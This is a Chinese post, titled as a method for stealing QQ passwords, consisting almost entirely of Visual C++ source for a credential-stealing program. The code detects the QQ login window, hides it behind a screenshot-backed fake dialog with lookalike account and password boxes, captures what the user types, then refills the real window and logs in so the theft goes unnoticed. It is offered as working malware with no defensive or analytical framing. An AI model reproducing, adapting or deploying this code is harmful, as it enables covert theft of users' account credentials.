vc++制作盗取qq密码的另类方法

 

#include <afx.h>
#include <tlhelp32.h>

#include "resource.h"

DWORD g_hwndID;
HWND ButtonLogin,QQpass,QQLoginId,g_hwnd,ButtonCancel;
RECT ButtonRect,passRect,cancelRect,loginIdRect;
CString appName ;
HBITMAP hBitmap = NULL;
HFONT myFont;
HWND QQID = NULL,QQPASS = NULL;
char sQQId[64];
char sQQPass[64];
int cxScreen,cyScreen;

//伪造对话框回调函数
LRESULT CALLBACK Win847(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam);
BOOL CreateWindowItem(HWND hDlg);
BOOL ProcessIdToName(LPTSTR lpszProcessName,DWORD processId);
HBITMAP CopyScreenBitmap(LPRECT lpRect);
//根据进程id,获取进程名字
BOOL ProcessIdToName(LPTSTR lpszProcessName,DWORD processId)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,processId);
    PROCESSENTRY32 pe;
    if(Process32First(hSnapshot,&pe) == FALSE)
        return FALSE;
    while(Process32Next(hSnapshot,&pe))
    {
        if(pe.th32ProcessID == processId)
        {
            strcpy(lpszProcessName, pe.szExeFile);
            return TRUE;
        }
    }
    return FALSE;
}
//拷贝屏幕截图
HBITMAP CopyScreenBitmap(LPRECT lpRect)
{
    int x1,y1,xn,yn,width,height;
    
    HDC hSrcDC,hMemDC;
    HBITMAP hBitmap,hOldBitmap;

    cxScreen = GetSystemMetrics(SM_CXSCREEN);
    cyScreen = GetSystemMetrics(SM_CYSCREEN);

    if(IsRectEmpty(lpRect))
        return NULL;
    hSrcDC = CreateDC("DISPLAY",NULL,NULL,NULL);
    hMemDC = CreateCompatibleDC(hSrcDC);

    if(lpRect->left < 0)
        lpRect->left = 0;
    if(lpRect->top < 0)
        lpRect->top = 0;
    if(lpRect->right > cxScreen)
        lpRect->right = cxScreen;
    if(lpRect->bottom > cyScreen)
        lpRect->bottom = cyScreen;

    width = lpRect->right - lpRect->left;
    height = lpRect->bottom - lpRect->top;

    hBitmap = CreateCompatibleBitmap(hSrcDC,width,height);
    hOldBitmap = (HBITMAP)SelectObject(hMemDC,hBitmap); 

    BitBlt(hMemDC,0,0,width,height,hSrcDC,lpRect->left,lpRect->top,SRCCOPY);

    hBitmap = (HBITMAP)SelectObject(hMemDC,hOldBitmap);

    DeleteDC(hSrcDC);
    DeleteDC(hMemDC);

    return hBitmap;

}
void QQFind()
{
    BOOL isFind = FALSE;
    HWND hwnd = NULL;
    char sTitle[255];
    
    CString ss;
    do
    {
        g_hwnd = GetForegroundWindow();
        GetWindowThreadProcessId(g_hwnd,&g_hwndID);
         ProcessIdToName(sTitle,g_hwndID);
    
        ss = sTitle;
        ss.MakeLower();
        if(ss!= "qq.exe")
        {
            Sleep(100);
            continue;
        }
        SendMessage(g_hwnd,WM_GETTEXT,255,(LPARAM)sTitle);
        ss = sTitle;
        int n = ss.Find("QQ",0);
        int m = ss.Find("登录",0);
        if( n > 0 || m > 0)
        {
            ButtonLogin = FindWindowEx(g_hwnd,NULL,"Button","登录");
            ButtonLogin = FindWindowEx(g_hwnd,ButtonLogin,"Button","登录");
            GetWindowRect(ButtonLogin,&ButtonRect);

            ButtonCancel = FindWindowEx(g_hwnd,NULL,"Button","取消");
            GetWindowRect(ButtonCancel,&cancelRect);

            hwnd = FindWindowEx(g_hwnd,NULL,"#32770",NULL);
            if(hwnd != NULL)
            {
                QQpass = FindWindowEx(hwnd,NULL,"Edit",NULL);
                GetWindowRect(QQpass,&passRect);
            }
            hwnd = FindWindowEx(g_hwnd,NULL,"Combobox",NULL);
            if(hwnd != NULL)
            {
                QQLoginId = FindWindowEx(hwnd,NULL,"Edit",NULL);
                GetWindowRect(QQLoginId,&loginIdRect);
            }
            SendMessage(QQLoginId,WM_GETTEXT,255,(LPARAM)sQQId);

            Sleep(100);

            RECT rect;
            rect.left = rect.top = 0;
            rect.right = cxScreen = GetSystemMetrics(SM_CXSCREEN);
            rect.bottom = cyScreen = GetSystemMetrics(SM_CYSCREEN);

            hBitmap = CopyScreenBitmap(&rect);
            
            ShowWindow(g_hwnd,SW_HIDE);

            LONG qqPassStyle;
            qqPassStyle = GetWindowLong(g_hwnd, GWL_STYLE);
            SetWindowLong(g_hwnd, GWL_STYLE, qqPassStyle & ~WS_VISIBLE);

            HINSTANCE hInstance = GetModuleHandle(NULL);
            DialogBoxParam(hInstance,(LPCTSTR)IDD_WIN847,0,(DLGPROC)Win847,0);

            ShowWindow(g_hwnd,SW_SHOW);

            SendMessage(QQLoginId,WM_SETTEXT,(WPARAM)0,(LPARAM)sQQId);
            SendMessage(QQpass,WM_SETTEXT,(WPARAM)0,(LPARAM)sQQPass);

            SendMessage(ButtonLogin,BM_CLICK,(WPARAM)0,(LPARAM)0);

            DeleteObject((HBITMAP)hBitmap);

            isFind = TRUE;

        }


    }while(isFind == FALSE);


}

LRESULT CALLBACK Win847(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
    BOOL ret;
    HDC hMem,hdc;
    POINT pt;
    switch(message)
    {

    case WM_INITDIALOG:

        ret = CreateWindowItem(hwnd);
        ret = SetWindowPos(hwnd,HWND_NOTOPMOST,0,0,cxScreen*3/4,cyScreen*3/4,SWP_SHOWWINDOW);
        return TRUE;

    case WM_ERASEBKGND:

        hdc = (HDC)wParam;
        hMem = CreateCompatibleDC(hdc);
        SelectObject(hMem,hBitmap);
        BitBlt(hdc,0,0,cxScreen,cyScreen,hMem,0,0,SRCCOPY);
        DeleteDC(hMem);
        return TRUE;

    case WM_LBUTTONDOWN:
        pt.x = LOWORD(lParam);
        pt.y = HIWORD(lParam);

        if(PtInRect(&ButtonRect,pt))
        {
            GetWindowText(QQID,sQQId,64);
            GetWindowText(QQPASS,sQQPass,64);

            MessageBox(hwnd,sQQPass,sQQId,MB_OK);

            DeleteObject(myFont);
            EndDialog(hwnd,0);
        }
        return TRUE;
    case WM_CLOSE:
        EndDialog(hwnd,0);
        return TRUE;
    }
    return FALSE;

}

BOOL CreateWindowItem(HWND hDlg)
{
    myFont =CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial");
    
    //创建QQ号码输入文本框
    int nWidth = loginIdRect.right - loginIdRect.left;
    int nHeight = loginIdRect.bottom - loginIdRect.top;

    QQID = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW, loginIdRect.left, \
                loginIdRect.top, nWidth, nHeight, hDlg, (HMENU)1000, GetModuleHandle(NULL), NULL);
    SendMessage(QQID,WM_SETTEXT,0,(LPARAM)sQQId);
    SendMessage(QQID,WM_SETFONT,(LPARAM)myFont,(LPARAM)0);


    nWidth = passRect.right - passRect.left;
    nHeight = passRect.bottom - passRect.top;

    QQPASS = CreateWindow("Edit","",WS_VISIBLE|ES_PASSWORD| WS_CHILDWINDOW,passRect.left,\
        passRect.top,nWidth,nHeight,hDlg,(HMENU)1001,GetModuleHandle(NULL),NULL);

    SendMessage(QQPASS,WM_SETFONT,(WPARAM)myFont,(LPARAM)0);

    return TRUE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    QQFind();
    return 0;    
}